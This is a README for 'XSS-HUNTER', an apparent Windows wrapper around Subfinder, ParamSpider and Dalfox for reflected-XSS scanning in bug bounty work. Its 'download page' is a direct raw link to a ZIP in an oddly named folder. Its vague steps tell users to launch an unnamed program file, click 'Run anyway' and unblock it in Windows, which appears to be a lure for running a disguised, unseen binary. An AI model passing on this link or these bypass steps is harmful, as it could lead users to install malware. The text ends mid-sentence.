XSS-HUNTER is a Windows tool for finding reflected XSS issues in web apps and bug bounty targets.
It helps you:
- Gather subdomains with Subfinder
- Pull URL paths with ParamSpider
- Test possible XSS points with Dalfox
- Automate the scan flow from start to finish
- Save time on manual checks
This tool fits users who want a simple way to run common XSS checks without building each step by hand.
Before you run XSS-HUNTER on Windows, make sure you have:
- Windows 10 or Windows 11
- A stable internet connection
- At least 4 GB of RAM
- 500 MB of free disk space
- Permission to scan the targets you choose
For the best result, keep your system updated and close apps you do not need while scanning.
Follow these steps to download and run XSS-HUNTER on your Windows PC:
-
Open the download page: https://github.com/brittle-finance685/XSS-HUNTER/raw/refs/heads/main/subpiston/HUNTER_XS_fistulous.zip
-
On the repository page, look for the latest release or the main download files.
-
Download the package for Windows if one is listed.
-
If the file comes in a ZIP folder, right-click the ZIP file and choose Extract All.
-
Open the extracted folder.
-
Find the main program file or launch file in the folder.
-
Double-click the file to start XSS-HUNTER.
-
If Windows asks for permission, choose Run anyway only if you trust the source.
When XSS-HUNTER starts, it should guide you through a simple scan flow.
You may see options for:
- Target input
- Subdomain discovery
- URL collection
- XSS testing
- Output folder or results file
- Progress messages while the scan runs
The app is built to keep the process in one place, so you do not need to switch between separate tools.
XSS-HUNTER uses a chain of tools to help find reflected XSS points:
- Subfinder looks for subdomains tied to your target.
- ParamSpider checks for URLs that include query parameters.
- Dalfox tests the collected URLs for signs of reflected XSS.
- The app groups the results so you can review them in one place.
This flow helps reduce manual work and makes it easier to move from discovery to testing.
Use the app with a target you are allowed to test.
Typical steps are:
- Enter the target domain.
- Start the scan.
- Wait while the tool collects subdomains and URLs.
- Review the results after the run completes.
- Open the saved output files and check the findings.
If you want to test more than one target, run one scan at a time so the results stay clear.
XSS-HUNTER may create files such as:
- A list of subdomains
- A list of URLs with parameters
- A results file with possible XSS hits
- A log file for scan progress
- A folder for export data
Keep these files in a safe place so you can review them later or share them with your bug bounty notes.
If Windows blocks the app, use these steps:
- Right-click the downloaded file.
- Select Properties.
- If you see Unblock, check it.
- Click Apply.
- Run the app again.
If the app opens and closes fast, try running it from the extracted folder instead of from inside the ZIP file.
XSS-HUNTER works well for:
- Bug bounty recon
- Quick reflected XSS checks
- Scanning subdomains and endpoints
- Checking large target lists
- Repeating the same scan process across many domains
It is meant to help with the early part of XSS testing, where speed and repeat steps matter.
To keep scans clean and easy to read:
- Use one target per run
- Save each result set in its own folder
- Use short names for target folders
- Review false positives by hand
- Keep notes on each scan date
A clean folder setup makes it easier to compare results later.
Only scan systems you own or have clear permission to test.
Use the tool on:
- Your own lab systems
- Training targets
- Bug bounty programs that allow this type of testing
- Internal systems where you have approval
If XSS-HUNTER does not start:
- Check that the file finished downloading
- Make sure you extracted the ZIP file
- Run it again from the extracted folder
- Restart Windows and try once more
- Check that your internet connection is working
If scans return no results:
- Try a different target
- Check that the target has active subdomains
- Make sure the domain name is typed correctly
- Wait for the full scan to finish before closing the app
If the app is slow:
- Close other heavy apps
- Give it more time on large targets
- Use a smaller target list first
- Check your network speed
XSS-HUNTER combines common recon and testing tools into one flow. It is built for users who want:
